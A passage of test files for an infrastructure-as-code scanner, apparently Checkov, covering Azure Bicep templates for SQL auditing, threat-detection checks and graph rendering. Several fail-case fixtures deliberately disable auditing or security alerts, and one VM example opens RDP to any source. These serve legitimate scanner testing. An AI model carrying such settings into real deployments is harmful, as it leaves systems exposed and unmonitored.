name: 'default' parent: parentEnabled properties: { isAzureMonitorTargetEnabled: true state: 'Enabled' } } resource databaseEnabled 'Microsoft.Sql/servers/databases@2020-08-01-preview' = { name: '${server.name}/${sqlDBName}' location: location sku: { name: 'Standard' tier: 'Standard' } resource childEnabled 'auditingSettings' = { name: 'default123' properties: { isAzureMonitorTargetEnabled: true state: 'Enabled' } } } // fail resource serverDefault 'Microsoft.Sql/servers@2021-02-01-preview' = { name: 'default' location: resourceGroup().location properties: { administratorLogin: sqlLogicalServer.userName administratorLoginPassword: password version: '12.0' minimalTlsVersion: sqlLogicalServer.minimalTlsVersion publicNetworkAccess: sqlLogicalServer.publicNetworkAccess } resource childDefault 'auditingSettings' = { name: 'default' properties: { isAzureMonitorTargetEnabled: true } } } resource parentDefault 'Microsoft.Sql/servers@2021-02-01-preview' = { name: 'default' location: resourceGroup().location properties: { administratorLogin: sqlLogicalServer.userName administratorLoginPassword: password version: '12.0' minimalTlsVersion: sqlLogicalServer.minimalTlsVersion publicNetworkAccess: sqlLogicalServer.publicNetworkAccess } } resource childDefault 'Microsoft.Sql/servers/auditingSettings@2021-02-01-preview' = { name: 'default' parent: parentDefault properties: { isAzureMonitorTargetEnabled: true } } resource databaseDefault 'Microsoft.Sql/servers/databases@2020-08-01-preview' = { name: '${server.name}/${sqlDBName}' location: location sku: { name: 'Standard' tier: 'Standard' } resource childDefault 'auditingSettings' = { name: 'default123' properties: { isAzureMonitorTargetEnabled: true } } } resource serverDisabled 'Microsoft.Sql/servers@2021-02-01-preview' = { name: 'default' location: resourceGroup().location properties: { administratorLogin: sqlLogicalServer.userName administratorLoginPassword: password version: '12.0' minimalTlsVersion: sqlLogicalServer.minimalTlsVersion publicNetworkAccess: sqlLogicalServer.publicNetworkAccess } resource childDisabled 'auditingSettings' = { name: 'default' properties: { isAzureMonitorTargetEnabled: true state: 'Disabled' } } } resource parentDisabled 'Microsoft.Sql/servers@2021-02-01-preview' = { name: 'default' location: resourceGroup().location properties: { administratorLogin: sqlLogicalServer.userName administratorLoginPassword: password version: '12.0' minimalTlsVersion: sqlLogicalServer.minimalTlsVersion publicNetworkAccess: sqlLogicalServer.publicNetworkAccess } } resource childDisabled 'Microsoft.Sql/servers/auditingSettings@2021-02-01-preview' = { name: 'default' parent: parentDefault properties: { isAzureMonitorTargetEnabled: true state: 'Disabled' } } resource databaseDisabled 'Microsoft.Sql/servers/databases@2020-08-01-preview' = { name: '${server.name}/${sqlDBName}' location: location sku: { name: 'Standard' tier: 'Standard' } resource childDisabled 'auditingSettings' = { name: 'default123' properties: { isAzureMonitorTargetEnabled: true state: 'Disabled' } } } ================================================ FILE: tests/bicep/graph/checks/resources/SQLServerAuditingRetention90Days/expected.yaml ================================================ pass: - 'Microsoft.Sql/servers.sqlServer_pass' fail: - 'Microsoft.Sql/servers.sqlServer_fail1' - 'Microsoft.Sql/servers.sqlServer_fail2' - 'Microsoft.Sql/servers.sqlServer_fail3' evaluated_keys: - 'properties/retentionDays' - 'properties/state' - 'resource_type' ================================================ FILE: tests/bicep/graph/checks/resources/SQLServerAuditingRetention90Days/fail1_less_90.bicep ================================================ resource sqlServer_fail1 'Microsoft.Sql/servers@2023-05-01-preview' = { name: sqlServerName } /// SQL Auditing resource sql_auditing_fail1 'Microsoft.Sql/servers/auditingSettings@2023-05-01-preview' = { name: 'default' parent: sqlServer_fail1 properties: { isAzureMonitorTargetEnabled: true retentionDays: 67 state: 'Enabled' } } ================================================ FILE: tests/bicep/graph/checks/resources/SQLServerAuditingRetention90Days/fail2_no_auditsettings.bicep ================================================ resource sqlServer_fail2 'Microsoft.Sql/servers@2023-05-01-preview' = { name: sqlServerName } /// No SQL Audit Settings ================================================ FILE: tests/bicep/graph/checks/resources/SQLServerAuditingRetention90Days/fail3_not_enabled.bicep ================================================ resource sqlServer_fail3 'Microsoft.Sql/servers@2023-05-01-preview' = { name: sqlServerName } /// SQL Auditing resource sql_auditing_fail3 'Microsoft.Sql/servers/auditingSettings@2023-05-01-preview' = { name: 'default' parent: sqlServer_fail3 properties: { isAzureMonitorTargetEnabled: true retentionDays: 92 state: 'Disabled' } } ================================================ FILE: tests/bicep/graph/checks/resources/SQLServerAuditingRetention90Days/pass1.bicep ================================================ resource sqlServer_pass 'Microsoft.Sql/servers@2023-05-01-preview' = { name: sqlServerName } /// SQL Auditing resource sql_auditing_pass 'Microsoft.Sql/servers/auditingSettings@2023-05-01-preview' = { name: 'default' parent: sqlServer_pass properties: { isAzureMonitorTargetEnabled: true retentionDays: 92 state: 'Enabled' } } ================================================ FILE: tests/bicep/graph/checks/resources/SQLServerThreatDetectionTypes/expected.yaml ================================================ pass: - 'Microsoft.Sql/servers.serverEnabled' - 'Microsoft.Sql/servers.serverEnabledWithoutAlertsAttribute' - 'Microsoft.Sql/servers/databases.databaseEnabled' - 'Microsoft.Sql/servers/databases.databaseEnabledWithoutAlertsAttribute' fail: - 'Microsoft.Sql/servers.serverWithoutSecurityPolicy' - 'Microsoft.Sql/servers.serverDisabledState' - 'Microsoft.Sql/servers.serverDisabledAlerts' - 'Microsoft.Sql/servers.serverDisabled' - 'Microsoft.Sql/servers/databases.databaseWithoutSecurityPolicy' - 'Microsoft.Sql/servers/databases.databaseDisabledState' - 'Microsoft.Sql/servers/databases.databaseDisabledAlerts' - 'Microsoft.Sql/servers/databases.databaseDisabled' evaluated_keys: - 'resource_type' - 'properties/state' - 'properties/disabledAlerts' ================================================ FILE: tests/bicep/graph/checks/resources/SQLServerThreatDetectionTypes/main.bicep ================================================ // pass resource serverEnabled 'Microsoft.Sql/servers@2021-02-01-preview' = { name: 'default' location: location properties: { administratorLogin: sqlLogicalServer.userName administratorLoginPassword: password version: '12.0' minimalTlsVersion: sqlLogicalServer.minimalTlsVersion publicNetworkAccess: sqlLogicalServer.publicNetworkAccess } resource securityAlertPolicyEnabled 'securityAlertPolicies' = { name: 'default' properties: { state: 'Enabled' disabledAlerts: [ ] } } } resource serverEnabledWithoutAlertsAttribute 'Microsoft.Sql/servers@2021-02-01-preview' = { name: 'default' location: location properties: { administratorLogin: sqlLogicalServer.userName administratorLoginPassword: password version: '12.0' minimalTlsVersion: sqlLogicalServer.minimalTlsVersion publicNetworkAccess: sqlLogicalServer.publicNetworkAccess } resource securityAlertPolicyEnabled 'securityAlertPolicies' = { name: 'default' properties: { state: 'Enabled' } } } resource databaseEnabled 'Microsoft.Sql/servers/databases@2023-08-01-preview' = { name: '${server.name}/${sqlDBName}' location: location sku: { name: 'GP_S_Gen5_2' tier: 'GeneralPurpose' } resource securityAlertPolicyEnabled 'securityAlertPolicies' = { name: 'default' properties: { state: 'Enabled' disabledAlerts: [ ] } } } resource databaseEnabledWithoutAlertsAttribute 'Microsoft.Sql/servers/databases@2023-08-01-preview' = { name: '${server.name}/${sqlDBName}' location: location sku: { name: 'GP_S_Gen5_2' tier: 'GeneralPurpose' } resource securityAlertPolicyEnabled 'securityAlertPolicies' = { name: 'default' properties: { state: 'Enabled' } } } // fail resource serverWithoutSecurityPolicy 'Microsoft.Sql/servers@2021-02-01-preview' = { name: 'default' location: location properties: { administratorLogin: sqlLogicalServer.userName administratorLoginPassword: password version: '12.0' minimalTlsVersion: sqlLogicalServer.minimalTlsVersion publicNetworkAccess: sqlLogicalServer.publicNetworkAccess } } resource serverDisabledState 'Microsoft.Sql/servers@2021-02-01-preview' = { name: 'default' location: location properties: { administratorLogin: sqlLogicalServer.userName administratorLoginPassword: password version: '12.0' minimalTlsVersion: sqlLogicalServer.minimalTlsVersion publicNetworkAccess: sqlLogicalServer.publicNetworkAccess } resource securityAlertPolicyEnabled 'securityAlertPolicies' = { name: 'default' properties: { state: 'Disabled' disabledAlerts: [ ] } } } resource serverDisabledAlerts 'Microsoft.Sql/servers@2021-02-01-preview' = { name: 'default' location: location properties: { administratorLogin: sqlLogicalServer.userName administratorLoginPassword: password version: '12.0' minimalTlsVersion: sqlLogicalServer.minimalTlsVersion publicNetworkAccess: sqlLogicalServer.publicNetworkAccess } resource securityAlertPolicyEnabled 'securityAlertPolicies' = { name: 'default' properties: { state: 'Enabled' disabledAlerts: [ 'disabledAlert' ] } } } resource serverDisabled 'Microsoft.Sql/servers@2021-02-01-preview' = { name: 'default' location: location properties: { administratorLogin: sqlLogicalServer.userName administratorLoginPassword: password version: '12.0' minimalTlsVersion: sqlLogicalServer.minimalTlsVersion publicNetworkAccess: sqlLogicalServer.publicNetworkAccess } resource securityAlertPolicyEnabled 'securityAlertPolicies' = { name: 'default' properties: { state: 'Disabled' disabledAlerts: [ 'disabledAlert' ] } } } resource databaseWithoutSecurityPolicy 'Microsoft.Sql/servers/databases@2023-08-01-preview' = { name: '${server.name}/${sqlDBName}' location: location sku: { name: 'GP_S_Gen5_2' tier: 'GeneralPurpose' } } resource databaseDisabledState 'Microsoft.Sql/servers/databases@2023-08-01-preview' = { name: '${server.name}/${sqlDBName}' location: location sku: { name: 'GP_S_Gen5_2' tier: 'GeneralPurpose' } resource securityAlertPolicyDisabledAlerts 'securityAlertPolicies' = { name: 'default' properties: { state: 'Disabled' disabledAlerts: [ ] } } } resource databaseDisabledAlerts 'Microsoft.Sql/servers/databases@2023-08-01-preview' = { name: '${server.name}/${sqlDBName}' location: location sku: { name: 'GP_S_Gen5_2' tier: 'GeneralPurpose' } resource securityAlertPolicyDisabledAlerts 'securityAlertPolicies' = { name: 'default' properties: { state: 'Enabled' disabledAlerts: [ 'disabledAlert' ] } } } resource databaseDisabled 'Microsoft.Sql/servers/databases@2023-08-01-preview' = { name: '${server.name}/${sqlDBName}' location: location sku: { name: 'GP_S_Gen5_2' tier: 'GeneralPurpose' } resource securityAlertPolicy 'securityAlertPolicies' = { name: 'default' properties: { state: 'Disabled' disabledAlerts: [ 'disabledAlert' ] } } } ================================================ FILE: tests/bicep/graph/checks/resources/__init__.py ================================================ ================================================ FILE: tests/bicep/graph/checks/test_yaml_policies.py ================================================ import warnings from pathlib import Path from typing import List from checkov.bicep.graph_manager import BicepGraphManager from parameterized import parameterized_class from tests.graph_utils.utils import set_db_connector_by_graph_framework, PARAMETERIZED_GRAPH_FRAMEWORKS from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.models.enums import CheckResult from checkov.common.output.record import Record from checkov.common.output.report import Report from checkov.common.bridgecrew.check_type import CheckType from tests.common.graph.checks.test_yaml_policies_base import TestYamlPoliciesBase @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestYamlPolicies(TestYamlPoliciesBase): def __init__(self, args): db_connector = set_db_connector_by_graph_framework(self.graph_framework) graph_manager = BicepGraphManager(db_connector=db_connector) super().__init__( graph_manager=graph_manager, real_graph_checks_path=str( Path(__file__).parent.parent.parent.parent.parent / "checkov/bicep/checks/graph_checks" ), test_checks_path="", check_type="bicep", test_file_path=__file__, args=args, ) def setUp(self) -> None: warnings.filterwarnings("ignore", category=ResourceWarning) warnings.filterwarnings("ignore", category=DeprecationWarning) def test_SQLServerAuditingEnabled(self): self.go("SQLServerAuditingEnabled") def test_SQLServerAuditingRetention90Days(self): self.go("SQLServerAuditingRetention90Days") def test_SQLServerThreatDetectionTypes(self): self.go("SQLServerThreatDetectionTypes") def test_registry_load(self): registry = self.get_checks_registry() self.assertGreater(len(registry.checks), 0) def assert_evaluated_keys(self, expected_evaluated_keys: List[str], results: List[Record]): evaluated_keys_results = results[0].check_result["evaluated_keys"] self.assertCountEqual(expected_evaluated_keys, evaluated_keys_results) def create_report_from_graph_checks_results(self, checks_results, check): report = Report(CheckType.BICEP) first_results_key = list(checks_results.keys())[0] for check_result in checks_results[first_results_key]: entity = check_result["entity"] record = Record( check_id=check["id"], check_name=check["name"], check_result=check_result, code_block=[(0, "")], file_path=entity.get(CustomAttributes.FILE_PATH), file_line_range=[entity.get("__startline__"), entity.get("__endline__")], resource=f"{entity.get(CustomAttributes.RESOURCE_TYPE)}.{entity.get(CustomAttributes.BLOCK_NAME)}", entity_tags=entity.get("tags", {}), evaluations=None, check_class="", file_abs_path=entity.get(CustomAttributes.FILE_PATH), ) if check_result["result"] == CheckResult.PASSED: report.passed_checks.append(record) if check_result["result"] == CheckResult.FAILED: report.failed_checks.append(record) return report ================================================ FILE: tests/bicep/graph/definitions_context/resources/definitions_example1.bicep ================================================ @description('Virtual machine size (has to be at least the size of Standard_A3 to support 2 NICs)') param virtualMachineSize string = 'Standard_DS1_v2' @description('Default Admin username') param adminUsername string @description('Default Admin password') @secure() param adminPassword string @description('Storage Account type for the VM and VM diagnostic storage') @allowed([ 'Standard_LRS' 'Premium_LRS' ]) param storageAccountType string = 'Standard_LRS' @description('Location for all resources.') param location string = resourceGroup().location var virtualMachineName = 'VM-MultiNic' var nic1Name = 'nic-1' var nic2Name = 'nic-2' var virtualNetworkName = 'virtualNetwork' var subnet1Name = 'subnet-1' var subnet2Name = 'subnet-2' var publicIPAddressName = 'publicIp' var diagStorageAccountName = 'diags${uniqueString(resourceGroup().id)}' var networkSecurityGroupName = 'NSG' var networkSecurityGroupName2 = '${subnet2Name}-nsg' // This is the virtual machine that you're building. resource vm 'Microsoft.Compute/virtualMachines@2020-06-01' = { name: virtualMachineName location: location properties: { osProfile: { computerName: virtualMachineName adminUsername: adminUsername adminPassword: adminPassword windowsConfiguration: { provisionVMAgent: true } } hardwareProfile: { vmSize: virtualMachineSize } storageProfile: { imageReference: { publisher: 'MicrosoftWindowsServer' offer: 'WindowsServer' sku: '2019-Datacenter' version: 'latest' } osDisk: { createOption: 'FromImage' } } networkProfile: { networkInterfaces: [ { properties: { primary: true } id: nic1.id } { properties: { primary: false } id: nic2.id } ] } diagnosticsProfile: { bootDiagnostics: { enabled: true storageUri: diagsAccount.properties.primaryEndpoints.blob } } } } resource diagsAccount 'Microsoft.Storage/storageAccounts@2019-06-01' = { // checkov:skip=CKV_AZURE_35: just skip it // checkov:skip=CKV_AZURE_36: skip that too name: diagStorageAccountName location: location sku: { name: storageAccountType } kind: 'StorageV2' } // Simple Network Security Group for subnet2 resource nsg2 'Microsoft.Network/networkSecurityGroups@2020-06-01' = { name: networkSecurityGroupName2 location: location } // This will build a Virtual Network. resource vnet 'Microsoft.Network/virtualNetworks@2020-06-01' = { name: virtualNetworkName location: location properties: { addressSpace: { addressPrefixes: [ '10.0.0.0/16' ] } subnets: [ { name: subnet1Name properties: { addressPrefix: '10.0.0.0/24' } } { name: subnet2Name properties: { addressPrefix: '10.0.1.0/24' networkSecurityGroup: { id: nsg2.id } } } ] } } // This will be your Primary NIC resource nic1 'Microsoft.Network/networkInterfaces@2020-06-01' = { name: nic1Name location: location properties: { ipConfigurations: [ { name: 'ipconfig1' properties: { subnet: { id: resourceId('Microsoft.Network/virtualNetworks/subnets', vnet.name, subnet1Name) } privateIPAllocationMethod: 'Dynamic' publicIPAddress: { id: pip.id } } } ] networkSecurityGroup: { id: nsg.id } } } // This will be your Secondary NIC resource nic2 'Microsoft.Network/networkInterfaces@2020-06-01' = { name: nic2Name location: location properties: { ipConfigurations: [ { name: 'ipconfig1' properties: { subnet: { id: resourceId('Microsoft.Network/virtualNetworks/subnets', vnet.name, subnet2Name) } privateIPAllocationMethod: 'Dynamic' } } ] } } // Public IP for your Primary NIC resource pip 'Microsoft.Network/publicIPAddresses@2020-06-01' = { name: publicIPAddressName location: location properties: { publicIPAllocationMethod: 'Dynamic' } } // Network Security Group (NSG) for your Primary NIC resource nsg 'Microsoft.Network/networkSecurityGroups@2020-06-01' = { name: networkSecurityGroupName location: location properties: { securityRules: [ { name: 'default-allow-rdp' properties: { priority: 1000 sourceAddressPrefix: '*' protocol: 'Tcp' destinationPortRange: '3389' access: 'Allow' direction: 'Inbound' sourcePortRange: '*' destinationAddressPrefix: '*' } } ] } } ================================================ FILE: tests/bicep/graph/definitions_context/resources/definitions_example2.bicep ================================================ param virtualMachineName string = 'example-vm' param location string param acrName string = 'exmaple-acr' param acrNestedName string = 'exmaple-nested-acr' param keyData3 string = 'key-data-3' param publisher string = 'MicrosoftWindowsServer' param nicId array = [ { id: 'example-id' } ] param publicKey2 object = { keyData: 'key-data-2' path: 'path-2' } param publicKey4 object = { keyData: 'key-data-4' path: { name: 'path-4' } } resource vm 'Microsoft.Compute/virtualMachines@2021-11-01' = { name: virtualMachineName location: location properties: { networkProfile: { networkInterfaces: nicId } osProfile: { linuxConfiguration: { ssh: { publicKeys: [ { keyData: 'key-data-1' path: 'path-1' } publicKey2 { keyData: keyData3 path: 'path-3' } { keyData: publicKey4.keyData path: publicKey4.path.name } ] } } } storageProfile: { imageReference: { publisher: publisher } } } tags: { displayName: 'Container Registry' 'container.registry.name': acrName 'container.registry': { name: acrNestedName } } } ================================================ FILE: tests/bicep/graph/definitions_context/test_definitions_context.py ================================================ import os import unittest from pathlib import Path from checkov.common.parsers.node import DictNode from checkov.bicep.parser import Parser from checkov.bicep.utils import get_scannable_file_paths from checkov.bicep.graph_builder.context_definitions import build_definitions_context, DEFINITIONS_KEYS_TO_PARSE TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) RELATIVE_PATH = "resources" FILE1_NAME = "definitions_example1.bicep" FILE2_NAME = "definitions_example2.bicep" class TestDefinitionsContext(unittest.TestCase): def setUp(self): self.test_root_dir = Path(TEST_DIRNAME) / RELATIVE_PATH bicep_parser = Parser() self.files_path = get_scannable_file_paths(self.test_root_dir) definitions, definitions_raw, parsing_errors = bicep_parser.get_files_definitions(file_paths=self.files_path) self.definitions_context = build_definitions_context(definitions, definitions_raw) self.file1 = self.definitions_context[f"{self.test_root_dir}/{FILE1_NAME}"] self.file2 = self.definitions_context[f"{self.test_root_dir}/{FILE2_NAME}"] def test_parameters_values(self): self.assertEqual(len(self.definitions_context), len(self.files_path)) file1_parameters = self.file1[DEFINITIONS_KEYS_TO_PARSE["parameters"]] self.assertEqual(len(file1_parameters), 5) self.validate_definition_lines(file1_parameters["adminUsername"], 4, 5, 2) assert file1_parameters["adminUsername"]["type"] == "string" self.validate_definition_lines(file1_parameters["storageAccountType"], 11, 16, 6) assert file1_parameters["storageAccountType"]["type"] == "string" self.validate_definition_lines(file1_parameters["virtualMachineSize"], 1, 2, 2) assert file1_parameters["virtualMachineSize"]["type"] == "string" file2_parameters = self.file2[DEFINITIONS_KEYS_TO_PARSE["parameters"]] self.assertEqual(len(file2_parameters), 9) self.validate_definition_lines(file2_parameters["virtualMachineName"], 1, 1, 1) assert file2_parameters["virtualMachineName"]["type"] == "string" self.validate_definition_lines(file2_parameters["acrName"], 5, 5, 1) assert file2_parameters["acrName"]["type"] == "string" self.validate_definition_lines(file2_parameters["publicKey4"], 24, 29, 6) assert file2_parameters["publicKey4"]["type"] == "object" def test_resources_value(self): file1_resources = self.file1[DEFINITIONS_KEYS_TO_PARSE["resources"]] self.assertEqual(len(file1_resources), 8) self.validate_definition_lines(file1_resources["Microsoft.Compute/virtualMachines.vm"], 33, 82, 50) self.validate_definition_lines(file1_resources["Microsoft.Storage/storageAccounts.diagsAccount"], 84, 93, 10) self.validate_definition_lines(file1_resources["Microsoft.Network/virtualNetworks.vnet"], 102, 129, 28) file2_resources = self.file2[DEFINITIONS_KEYS_TO_PARSE["resources"]] self.assertEqual(len(file2_resources), 1) self.validate_definition_lines(file2_resources["Microsoft.Compute/virtualMachines.vm"], 31, 72, 42) def test_skipped_check_exists(self): skipped_checks = self.file1[DEFINITIONS_KEYS_TO_PARSE["resources"]]["Microsoft.Storage/storageAccounts.diagsAccount"]["skipped_checks"] self.assertCountEqual( skipped_checks, {"CKV_AZURE_35": {"result": "SKIPPED", "suppress_comment": " just skip it"}, "CKV_AZURE_36": {"result": "SKIPPED", "suppress_comment": " skip that too"} } ) def validate_definition_lines(self, definition: DictNode, start_line, end_line, code_lines): self.assertEqual(definition["start_line"], start_line) self.assertEqual(definition["end_line"], end_line) self.assertEqual(len(definition["code_lines"]), code_lines) ================================================ FILE: tests/bicep/graph/graph_builder/__init__.py ================================================ ================================================ FILE: tests/bicep/graph/graph_builder/examples/mixed/main.bicep ================================================ param virtualMachineName string = 'example-vm' param exampleId string = 'example-id' param publicKey2 object = { keyData: 'key-data-2' path: 'path-2' } var nicId = [ { id: exampleId } ] var publicKey4 = { keyData: 'key-data-4' path: { name: publicKey2.path } } resource vm 'Microsoft.Compute/virtualMachines@2021-11-01' = { name: virtualMachineName location: location properties: { networkProfile: { networkInterfaces: nicId } osProfile: { linuxConfiguration: { ssh: { publicKeys: [ { keyData: 'key-data-1' path: 'path-1' } publicKey2 { keyData: keyData3 path: 'path-3' } { keyData: publicKey4.keyData path: publicKey4.path.name } ] } } } storageProfile: { imageReference: { publisher: publisher } } } tags: { displayName: 'Container Registry' 'container.registry.name': acrName 'container.registry': { name: acrNestedName } } } ================================================ FILE: tests/bicep/graph/graph_builder/examples/parameter/main.bicep ================================================ param virtualMachineName string = 'example-vm' param location string param acrName string = 'exmaple-acr' param acrNestedName string = 'exmaple-nested-acr' param keyData3 string = 'key-data-3' param publisher string = 'MicrosoftWindowsServer' param nicId array = [ { id: 'example-id' } ] param publicKey2 object = { keyData: 'key-data-2' path: 'path-2' } param publicKey4 object = { keyData: 'key-data-4' path: { name: 'path-4' } } resource vm 'Microsoft.Compute/virtualMachines@2021-11-01' = { name: virtualMachineName location: location properties: { networkProfile: { networkInterfaces: nicId } osProfile: { linuxConfiguration: { ssh: { publicKeys: [ { keyData: 'key-data-1' path: 'path-1' } publicKey2 { keyData: keyData3 path: 'path-3' } { keyData: publicKey4.keyData path: publicKey4.path.name } ] } } } storageProfile: { imageReference: { publisher: publisher } } } tags: { displayName: 'Container Registry' 'container.registry.name': acrName 'container.registry': { name: acrNestedName } } } ================================================ FILE: tests/bicep/graph/graph_builder/examples/variable/main.bicep ================================================ var virtualMachineName = 'example-vm' var location = 'westeurope' var acrName = 'exmaple-acr' var acrNestedName = 'exmaple-nested-acr' var keyData3 = 'key-data-3' var publisher = 'MicrosoftWindowsServer' var nicId = [ { id: 'example-id' } ] var publicKey2 = { keyData: 'key-data-2' path: 'path-2' } var publicKey4 = { keyData: 'key-data-4' path: { name: 'path-4' } } resource vm 'Microsoft.Compute/virtualMachines@2021-11-01' = { name: virtualMachineName location: location properties: { networkProfile: { networkInterfaces: nicId } osProfile: { linuxConfiguration: { ssh: { publicKeys: [ { keyData: 'key-data-1' path: 'path-1' } publicKey2 { keyData: keyData3 path: 'path-3' } { keyData: publicKey4.keyData path: publicKey4.path.name } ] } } } storageProfile: { imageReference: { publisher: publisher } } } tags: { displayName: 'Container Registry' 'container.registry.name': acrName 'container.registry': { name: acrNestedName } } } ================================================ FILE: tests/bicep/graph/graph_builder/test_local_graph.py ================================================ from collections import Counter from pathlib import Path from checkov.bicep.graph_builder.graph_components.block_types import BlockType from checkov.bicep.graph_builder.local_graph import BicepLocalGraph from checkov.bicep.parser import Parser EXAMPLES_DIR = Path(__file__).parent.parent.parent / "examples" def test_build_graph(): # given test_file = EXAMPLES_DIR / "playground.bicep" template, _ = Parser().parse(test_file) local_graph = BicepLocalGraph(definitions={test_file: template}) # when local_graph.build_graph(render_variables=False) # then assert len(local_graph.vertices) == 24 assert len(local_graph.edges) == 33 assert len(local_graph.vertices_by_block_type[BlockType.TARGET_SCOPE]) == 1 assert len(local_graph.vertices_by_block_type[BlockType.PARAM]) == 5 assert len(local_graph.vertices_by_block_type[BlockType.VAR]) == 10 assert len(local_graph.vertices_by_block_type[BlockType.RESOURCE]) == 8 assert len(local_graph.vertices_by_block_type[BlockType.MODULE]) == 0 assert len(local_graph.vertices_by_block_type[BlockType.OUTPUT]) == 0 out_edge_counts = Counter([e.origin for e in local_graph.edges]) in_edge_counts = Counter([e.dest for e in local_graph.edges]) assert out_edge_counts == Counter( { 16: 9, 19: 5, 20: 6, 17: 3, 18: 2, 21: 4, 22: 2, 23: 2, } ) assert in_edge_counts == Counter( { 5: 8, 6: 2, 2: 1, 3: 1, 1: 1, 20: 1, 21: 1, 17: 1, 13: 1, 4: 1, 15: 1, 9: 1, 10: 2, 11: 2, 18: 1, 7: 1, 22: 1, 23: 1, 8: 1, 12: 1, 14: 1, 19: 2, } ) ================================================ FILE: tests/bicep/graph/graph_builder/test_renderer.py ================================================ from pathlib import Path from checkov.bicep.graph_manager import BicepGraphManager from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector def test_render_parameter(): # given test_dir = Path(__file__).parent / "examples/parameter" graph_manager = BicepGraphManager(db_connector=NetworkxConnector()) # when local_graph, _ = graph_manager.build_graph_from_source_directory(source_dir=str(test_dir), render_variables=True) # then vertex = local_graph.vertices[local_graph.vertices_by_name["vm"]] assert vertex.config["config"] == { "name": "example-vm", "location": "location", "properties": { "networkProfile": { "networkInterfaces": [{"id": "example-id"}] }, "osProfile": { "linuxConfiguration": { "ssh": { "publicKeys": [ {"keyData": "key-data-1", "path": "path-1"}, {"keyData": "key-data-2", "path": "path-2"}, {"keyData": "key-data-3", "path": "path-3"}, {"keyData": { "operator": { "type": "property_accessor", "operands": { "operand_1": {"keyData": "key-data-4", "path": {"name": "path-4"}}, "operand_2": "keyData" } } }, "path": { "operator": { "type": "property_accessor", "operands": { "operand_1": {"keyData": "key-data-4", "path": {"name": "path-4"}}, "operand_2": { "operator": { "type": "property_accessor", "operands": {"operand_1": "path", "operand_2": "name"} } } } } }} ] } } }, "storageProfile": { "imageReference": {"publisher": "MicrosoftWindowsServer"} } }, "tags": { "displayName": "Container Registry", "'container.registry.name'": "exmaple-acr", "'container.registry'": {"name": "exmaple-nested-acr"}, }, } def test_render_variable(): # given test_dir = Path(__file__).parent / "examples/variable" graph_manager = BicepGraphManager(db_connector=NetworkxConnector()) # when local_graph, _ = graph_manager.build_graph_from_source_directory(source_dir=str(test_dir), render_variables=True) # then vertex = local_graph.vertices[local_graph.vertices_by_name["vm"]] assert vertex.config["config"] == { "name": "example-vm", "location": "westeurope", "properties": { "networkProfile": { "networkInterfaces": [ {"id": "example-id"} ] }, "osProfile": { "linuxConfiguration": { "ssh": { "publicKeys": [ {"keyData": "key-data-1", "path": "path-1"}, {"keyData": "key-data-2", "path": "path-2"}, {"keyData": "key-data-3", "path": "path-3"}, { "keyData": { "operator": { "type": "property_accessor", "operands": { "operand_1": { "keyData": "key-data-4", "path": {"name": "path-4"} }, "operand_2": "keyData" } } }, "path": { "operator": { "type": "property_accessor", "operands": { "operand_1": { "keyData": "key-data-4", "path": {"name": "path-4"} }, "operand_2": { "operator": { "type": "property_accessor", "operands": { "operand_1": "path", "operand_2": "name" } } } } } } } ] } } }, "storageProfile": { "imageReference": { "publisher": "MicrosoftWindowsServer" } } }, "tags": { "displayName": "Container Registry", "'container.registry.name'": "exmaple-acr", "'container.registry'": {"name": "exmaple-nested-acr"}, }, } def test_render_mixed(): # given test_dir = Path(__file__).parent / "examples/mixed" graph_manager = BicepGraphManager(db_connector=NetworkxConnector()) # when local_graph, _ = graph_manager.build_graph_from_source_directory(source_dir=str(test_dir), render_variables=True) # then vertex = local_graph.vertices[local_graph.vertices_by_name["vm"]] assert vertex.config["config"] == { "name": "example-vm", "location": "location", "properties": { "networkProfile": { "networkInterfaces": [ {"id": "example-id"} ] }, "osProfile": { "linuxConfiguration": { "ssh": { "publicKeys": [ {"keyData": "key-data-1", "path": "path-1"}, {"keyData": "key-data-2", "path": "path-2"}, {"keyData": "keyData3", "path": "path-3"}, { "keyData": { "operator": { "type": "property_accessor", "operands": { "operand_1": { "keyData": "key-data-4", "path": { "name": { "operator": { "type": "property_accessor", "operands": { "operand_1": { "keyData": "key-data-2", "path": "path-2" }, "operand_2": "path" } } } } }, "operand_2": "keyData" } } }, "path": { "operator": { "type": "property_accessor", "operands": { "operand_1": { "keyData": "key-data-4", "path": { "name": { "operator": { "type": "property_accessor", "operands": { "operand_1": { "keyData": "key-data-2", "path": "path-2" }, "operand_2": "path" } } } } }, "operand_2": { "operator": { "type": "property_accessor", "operands": { "operand_1": "path", "operand_2": "name" } } } } } } } ] } } }, "storageProfile": { "imageReference": { "publisher": "publisher" } } }, "tags": { "displayName": "Container Registry", "'container.registry.name'": "acrName", "'container.registry'": {"name": "acrNestedName"}, }, } ================================================ FILE: tests/bicep/image_referencer/__init__.py ================================================ ================================================ FILE: tests/bicep/image_referencer/provider/__init__.py ================================================ ================================================ FILE: tests/bicep/image_referencer/provider/test_azure.py ================================================ from unittest import mock import pytest from checkov.common.images.image_referencer import Image from checkov.terraform.image_referencer.provider.azure import AzureTerraformProvider from tests.graph_utils.utils import GRAPH_FRAMEWORKS, set_graph_by_graph_framework, \ add_vertices_to_graph_by_graph_framework @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def extract_images_from_resources(graph_framework): # given resource = { "file_path_": "/batch.bicep", "__end_line__": 26, "__start_line__": 1, "properties": { "virtualMachineConfiguration": { "containerConfiguration": { "containerImageNames": ["nginx", "python:3.9-alpine"], "containerRegistries": { "password": "myPassword", # checkov:skip=CKV_SECRET_6 test secret "registryServer": "myContainerRegistry.azurecr.io", "username": "myUserName", }, "type": "DockerCompatible", }, } }, "resource_type": "Microsoft.Batch/batchAccounts/pools", } graph = set_graph_by_graph_framework(graph_framework) add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph) # when azure_provider = AzureTerraformProvider(graph_connector=graph) images = azure_provider.extract_images_from_resources() # then assert images == [ Image(file_path="/batch.bicep", name="nginx", start_line=1, end_line=26), Image(file_path="/batch.bicep", name="python:3.9-alpine", start_line=1, end_line=26), ] @pytest.mark.parametrize('graph_framework', GRAPH_FRAMEWORKS) def test_extract_images_from_resources_with_no_image(graph_framework): # given resource = { "file_path_": "/batch.bicep", "__end_line__": 26, "__start_line__": 1, "properties": { "virtualMachineConfiguration": { "containerConfiguration": { "containerImageNames": [], "containerRegistries": { "password": "myPassword", 